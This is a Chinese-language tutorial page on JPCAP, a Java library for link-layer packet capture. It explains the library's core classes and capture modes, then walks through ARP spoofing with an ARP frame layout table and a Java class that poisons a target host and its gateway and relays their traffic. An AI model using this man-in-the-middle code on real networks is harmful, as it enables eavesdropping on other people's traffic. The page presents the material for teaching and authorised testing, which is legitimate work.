首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> Java 程式設計 >> Java 程式設計入門

JPCAP 深度解析:Java 數據鏈路層網絡編程與 ARP 欺騙實戰

     編輯:Java 程式設計入門

Java 標準庫雖提供完善的 TCP/UDP 傳輸層 API,但對數據鏈路層(Layer 2)及以下的控制能力極其有限。JPCAP 透過 JNI 調用底層的 libpcap/WinPcap,為 Java 提供了跨平台的數據鏈路層封包捕獲與發送能力,支援 FreeBSD、Linux、Solaris、Windows 2000/XP 等主流作業系統。

核心架構與四大核心類

1. NetworkInterface - 網路介面抽象

每個實例代表一張實體網卡,包含關鍵屬性:

  • name:設備名稱(如 DeviceNPF_{...})
  • description:廠牌型號描述
  • mac_address:6 位元組 MAC 位址
  • datalink_name:鏈路層類型(Ethernet 10M/100M/1000M)
  • loopback:是否為回環介面

2. JpcapCaptor - 封包捕獲引擎

核心靜態方法:

  • getDeviceList():獲取網卡列表
  • openDevice(interface, snaplen, promisc, to_ms):開啟捕獲連線

關鍵參數解析:

  • snaplen:單個封包最大捕獲位元組數(非封包數量限制)
  • promisc:混雜模式開關,開啟後接收所有封包
  • to_ms:processPacket() 超時時間

四種捕獲模式對比:

方法阻塞行為超時控制適用場景
getPacket()阻塞直到捕獲一個封包無簡單單封包處理
loopPacket(count, handler)持續阻塞直到捕獲指定數量不受 to_ms 影響高效能批量捕獲
processPacket(count, handler)阻塞直到捕獲指定數量或超時受 to_ms 控制需超時保護的場景
dispatchPacket(count, handler)非阻塞模式可立即返回受 to_ms 控制GUI/即時監控介面

3. JpcapSender - 封包發送器

兩種獲取方式決定發送行為:

  • captor.getJpcapSenderInstance():需手動構造數據鏈路層表頭
  • JpcapSender.openRawSocket():系統自動填充鏈路層表頭

4. Packet 階層體系

Packet 為基類,支援協議:ARPPacket、EthernetPacket、IPPacket、TCPPacket、UDPPacket、ICMPPacket 等。

ARP 欺騙原理與實戰實作

攻擊原理

現代交換式網路環境下,單純混雜模式無法監聽他人流量。ARP 欺騙透過偽造 ARP Reply 封包:

  1. 欺騙目標主機 B:發送源 IP 為網關、源 MAC 為攻擊者 A 的 ARP Reply,使 B 將網關 MAC 更新為 A 的 MAC
  2. 欺騙網關:發送源 IP 為 B、源 MAC 為 A 的 ARP Reply,使網關將 B 的 MAC 更新為 A 的 MAC
  3. 流量轉發:A 收到雙向流量後修改以太網表頭目的 MAC,原封不動轉發,實現「中間人」監聽

ARP 封包結構詳細解析

位移長度欄位說明
06目標 MAC以太網表頭
66源 MAC以太網表頭
122類型0x0806 = ARP
142硬體類型0x0001 = Ethernet
162協議類型0x0800 = IPv4
181MAC 長度固定 6
191IP 長度固定 4
202操作碼0x0001 Request / 0x0002 Reply
226發送端 MACARP 承載
284發送端 IPARP 承載
326目標 MACARP 承載
384目標 IPARP 承載

完整監聽實作代碼核心邏輯

public class ArpSpoofMonitor {
    private JpcapCaptor captor;
    private JpcapSender sender;
    private NetworkInterface device;
    private byte[] targetMac, gatewayMac;
    private InetAddress targetIp, gatewayIp;
    
    public void startMonitoring() throws IOException {
        // 1. 初始化設備(排除虛擬網卡)
        NetworkInterface[] devices = JpcapCaptor.getDeviceList();
        device = selectPhysicalDevice(devices); // 需過濾 Generic dialup adapter
        
        captor = JpcapCaptor.openDevice(device, 2000, false, 10000);
        captor.setFilter("ip", true); // 僅捕獲 IP 封包
        sender = captor.getJpcapSenderInstance();
        
        // 2. 構造欺騙目標的 ARP Reply
        ARPPacket arpToTarget = buildArpReply(
            device.mac_address, gatewayIp.getAddress(),  // 偽裝成網關
            targetMac, targetIp.getAddress()
        );
        EthernetPacket ethToTarget = new EthernetPacket();
        ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;
        ethToTarget.src_mac = device.mac_address;
        ethToTarget.dst_mac = targetMac;
        arpToTarget.datalink = ethToTarget;
        
        // 3. 構造欺騙網關的 ARP Reply
        ARPPacket arpToGateway = buildArpReply(
            device.mac_address, targetIp.getAddress(),   // 偽裝成目標
            gatewayMac, gatewayIp.getAddress()
        );
        EthernetPacket ethToGateway = new EthernetPacket();
        ethToGateway.frametype = EthernetPacket.ETHERTYPE_ARP;
        ethToGateway.src_mac = device.mac_address;
        ethToGateway.dst_mac = gatewayMac;
        arpToGateway.datalink = ethToGateway;
        
        // 4. 定時發送欺騙封包 + 轉發真實流量
        new Thread(() -> {
            while (true) {
                sender.sendPacket(arpToTarget);
                sender.sendPacket(arpToGateway);
                Thread.sleep(500);
            }
        }).start();
        
        // 5. 捕獲並轉發雙向流量
        while (true) {
            Packet packet = captor.getPacket();
            if (packet instanceof IPPacket) {
                IPPacket ip = (IPPacket) packet;
                if (ip.src_ip.equals(targetIp)) {
                    forwardPacket(packet, gatewayMac);  // 目標→網關
                } else if (ip.src_ip.equals(gatewayIp)) {
                    forwardPacket(packet, targetMac);   // 網關→目標
                }
            }
        }
    }
    
    private void forwardPacket(Packet packet, byte[] destMac) {
        if (packet.datalink instanceof EthernetPacket) {
            EthernetPacket eth = (EthernetPacket) packet.datalink;
            System.arraycopy(destMac, 0, eth.dst_mac, 0, 6);
            System.arraycopy(device.mac_address, 0, eth.src_mac, 0, 6);
            sender.sendPacket(packet);
        }
    }
}

關鍵技術細節與避坑指南

  • 虛擬網卡干擾:Windows 下 getDeviceList() 會包含「Generic dialup adapter」,若先建立 Swing 元件(如 new JFrame())會改變列表順序導致 MAC 獲取失敗
  • 權限需求:Linux 需 root 權限,Windows 需安裝 WinPcap/Npcap 並以管理員執行
  • 封包完整性:snaplen 設定過小會截斷封包載荷,建議 65535 確保完整捕獲
  • 法律合規:嚴禁在未授權網路環境進行 ARP 欺騙,屬違法入侵行為,僅供教學研究與授權滲透測試使用

JPCAP 為 Java 開發者打開了底層網路編程的大門,掌握其核心 API 與封包操作技巧,是實現網路分析工具、IDS/IPS 系統、流量審計平台的關鍵基礎。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved